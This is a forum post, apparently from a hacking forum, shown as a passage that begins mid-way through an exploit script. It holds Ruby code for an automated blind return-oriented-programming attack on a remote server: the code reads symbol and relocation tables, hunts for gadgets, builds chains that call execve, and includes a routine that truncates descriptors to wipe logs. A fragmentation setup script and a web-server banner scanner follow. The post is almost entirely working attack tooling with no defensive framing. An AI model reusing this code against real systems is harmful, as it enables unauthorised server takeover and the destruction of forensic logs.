      stri = stri.unpack("L<")[0]

      type = prog[idx + 4]
      type = type.unpack("C")[0]
      type &= 0xf

      val = prog[(idx + 8)..(idx + 16)]
      val = val.unpack("Q")[0]

      if stri > 0
         need = dynstr + stri + 30

         while addr < need
            print("Reading #{addr.to_s(16)}\r")
            x = dump_addr(addr)
            abort("dai") if x.length == 0

            prog += x
            addr += x.length
         end

         strstart = dynstr + stri - addr_start
         strend = strstart
         for i in strstart..(prog.length - 1)
            if prog[i] == "\x00"
               strend = i - 1
               break
            end
         end

         symname = prog[strstart..strend]

         print("Sym #{symno} #{type} #{symname}")
         print(" #{val.to_s(16)}") if val != 0
         print("\n")

         symtab[symno + 1] = symname
         got_sym(symno, symname)

#         symno += 1 if type == 2
#         # XXX
#         symno += 1 if symname == "__gmon_start__"

         symno += 1

         if val > 0x500000
            $writable = val
            print("Writable at #{$writable.to_s(16)}\n")
         end
      end

      idx += symlen
   end

   read_rel(addr, symtab)
end

def find_rel(prog)
   check = 3
   for i in 0..(prog.length-1)
      rem = prog.length - i

      break if rem < (24 * check)

      good = true

      for j in 0..(check - 1)
         idx = i + j * 24

         type = prog[idx..(idx + 3)].unpack("L<")[0]
         
         if type != 7
            good = false
            break
         end

         val = prog[(idx+8)..(idx + 8 + 7)].unpack("Q")[0]

         if val != 0
            good = false
            break
         end
      end

      return i if good
   end

   return -1
end

def read_rel(addr, symtab)
   start = addr

   print("Reading rel\n")
   prog = ""
   idx = 0

   while true
      print("Reading #{addr.to_s(16)}\r")
      x = dump_addr(addr)

      abort("sdf") if x.length == 0

      prog += x
      addr += x.length

      idx = find_rel(prog)

      break if idx >= 0
   end

   abort("sdfsdf") if idx < 8

   idx -= 8

   print("Found REL at #{(idx + start).to_s(16)}\n")

   slot = 0

   need = [ "read", "usleep", "execve", "ftruncate64", "exit" ]

   while true
      while prog.length - idx < 24
         print("Reading #{addr.to_s(16)}\r")
         x = dump_addr(addr);

         abort("sdfsdF") if x.length == 0

         prog += x
         addr += x.length
      end

      type = prog[(idx + 8)..(idx + 8 + 3)].unpack("L<")[0]

      abort("ddddd") if type != 0x7

      num = prog[(idx + 8 + 4)..(idx + 8 + 4 + 3)].unpack("L<")[0]

      abort("sdfasdf") if num >= symtab.length

      name = symtab[num]

      print("Slot #{slot} num #{num} #{name}\n")

      if need.include?(name)
         print("Found #{name} at #{slot}\n")
         eval("$#{name} = #{slot}")
         need.delete(name)

         break if need.empty?
      end

      idx += 24
      slot += 1
   end
end

def do_aslr()
   print("Assuming ASLR\n")
   stack_read()
   find_plt_depth()
end

def clear_logs()
   $url = "/dsafaasl"

   rop = []

   fds = 0..15

   ftruncate = $ftruncate64
   exitt = $exit

   for f in fds
      rop << $rdi
      rop << f

      rop << $rdi - 2
      rop << 0
      rop << 0

      rop << ($plt + 0xb)
      rop << ftruncate
   end

   rop << $rdi
   rop << 0

   rop << ($plt + 0xb)
   rop << exitt

   rop << $death

   rc = try_exp(rop)

   print("Cleared\n")
end

def pwn()
   print("Pwning\n")
   print_progress()

   check_vuln() if not $overflow_len
   check_overflow_len() if not $overflow_len
   print_progress()

   $sport = true

   find_plt_depth() if not $plt
   print_progress()

#   stack_read()

   do_aslr() if not $plt
   print_progress()

#   check_vsyscall() if not $vsyscall_mode
#   determine_target()
#   check_stack_depth() if not $depth
#   check_pad() if $pad == 0
#   find_plt() if not $plt
#   print_progress()

#   find_pops() if not $rax or not $syscall
#   find_pops() if not $rdi
   find_gadget() if not $rdi
   print_progress()

   find_rdx() if not $strcmp
   print_progress()

#   find_write() if not $write
   find_write2() if not $write
   print_progress()
#   find_rdi() if not $rdi
#   find_rsi() if not $rsi

#   find_fd()

   find_dup() if not $dup

   print_progress()

   read_sym() if not $read

   find_read() if not $read

   print_progress()

   find_good_rdx() if not $goodrdx

   find_execve() if not $execve

   do_execve()
#   dump_bin()
#   clear_logs()
#   exp()

   print_progress()
end

def do_state(save, silent = false)
   vars = [ "pad", "ret", "overflow_len", "depth", "syscall", "pos",
       "pops", "rax", "rdi", "rsi", "vsyscall_mode", "canary",
       "canary_offset", "plt", "write", "to", "strcmp", "dup",
       "read", "execve", "goodrdx", "aslr", "writable", "usleep",
       "ftruncate64", "exit" ]

   state = {}

   for v in vars
      state[v] = eval("$#{v}")
   end

   if save
           x = Marshal.dump(state)
           File.open("state.bin", "w") { |file| file.write(x) }
   else
      begin
         File.open("state.bin", "r") { |file|
            print("Reading state\n")
            x = file.read                                                                         
            state = Marshal.load(x)                                                               
         }
      rescue
         return
      end
   end

   for v in vars
      next if not state[v]
      eval("$#{v} = #{state[v]}")
      print("Setting #{v} to #{state[v]}\n") if not silent
   end
end

def load_state()
   do_state(false)
end

def save_state(silent = false)
   do_state(true, silent)
end

def test()
   load_state()

   $pad = 0
   $depth = 0
   $overflow_len = 4192

   rop = Array.new(3) { |j| 0x400000 }
   try_exp(rop)

# unlink changes rdx ; qsort interesting
# strncmp

   rop = []
   r   = 0x402da1
   plt = 0x402490

   plt += 0x10 * 10

   plt = 0x000000000402860

   for i in 0..5
      plt += 0x10 * i

      print("Doing 0x#{plt.to_s(16)}\n")

      rop << $rdi
      rop << 0x400000

      rop << $rdi - 2
      rop << 0x400000
      rop << 0

      rop << plt
      rop << r
   end

   rc = try_exp(rop)
   print("RC IS #{rc}\n")

   exit(1)
end

def main()
#   test()

   begin
      load_state()

      if ARGV.length > 1
         exp()
      elsif ARGV.length == 1
         $ip = ARGV[0]
         print("Pwning IP #{$ip}\n")
      end
      pwn()
      save_state()
   rescue Interrupt => e
      print("\nInterrupt\n")
      puts e.backtrace
      save_state()
   end
end

main()

#./frag.sh ip

Code:
#!/bin/bash

IP=$1

echo Fragging for $IP

killall -9 frag 2> /dev/null

RT=$(ip route get $IP | head -n 1)

RTR=$IP
SIP=$(echo $RT | awk '{print $5}')
DEV=$(echo $RT | awk '{print $3}')

if [[ "$RT" == *via* ]]
then
   RTR=$(echo $RT | awk '{print $3}')
   SIP=$(echo $RT | awk '{print $7}')
   DEV=$(echo $RT | awk '{print $5}')
fi

MAC=$(arp -an | grep "($RTR)" | awk '{print $4}')

if [[ "$MAC" != *:* ]]
then
   echo getting mac of $RTR
   ping -c 1 $RTR

   MAC=$(arp -an | grep "($RTR)" | awk '{print $4}')

   if [[ "$MAC" != *:* ]]
   then
      echo dunno
      exit 1
   fi
fi

IFIDX=$(ip link show dev $DEV | head -n 1 | awk '{print $1}' | tr -d ':')

echo Src IP $SIP Dst IP $IP MAC $MAC Dev $DEV Idx $IFIDX

set -m

./frag $IFIDX $MAC &

sleep 2

sysctl net.ipv4.ip_no_pmtu_disc=1
sysctl net.ipv4.route.mtu_expires=1

ifconfig frag0 $SIP dstaddr $IP mtu 9000 up
iptables -I INPUT -p tcp -s $IP --tcp-flags SYN,ACK SYN,ACK \
   -j NFQUEUE --queue-num 666

echo Done

fg 1



#python scan.py

Code:
#!/usr/bin/python

import socket
import string
import threading

_f = None
_lock = threading.Lock()

def scan_host(ip):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

   try:
      s.settimeout(5)

      s.connect((ip, 80))
      s.send("HEAD / HTTP/1.0\n\n")
      data = s.recv(4096)
      s.close()

      x = string.find(data, "Server: ")
      if x == -1:
         return

      data = data[(x + 8):]

      x = string.find(data, "\r")
      if x != -1:
         data = data[0:x]

      found_banner(ip, data)
   except:
      s.close()

def found_banner(ip, data):
   global _lock

   with _lock:
      print("%s %s" % (ip, data))


def scanner():
   while True:
      ip = get_ip()
      if ip == None:
         break

      scan_host(ip)

def get_ip():
   global _f, _lock

   with _lock:
      ip = _f.readline()

   if ip == "":
      return None

   ip = ip[0:-1]

   return ip

def main():
   global _f

   _f = open("ips.txt")

   threadno = 5
   threads = []

   for i in range(threadno):
      t = threading.Thread(target=scanner)
      t.start()
      threads.append(t)

   for t in threads:
      t.join()

main()


Sun Jul 24, 2016 12:10 pm
Profile
Display posts from previous:  Sort by  
Reply to topic   [ 1 post ] 

You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Search for:
Jump to:  
cron
Copyright © 2003-2016 HackerTop. All rights reserved.
Privacy & Cookies Policy
Community Forum Software by phpBB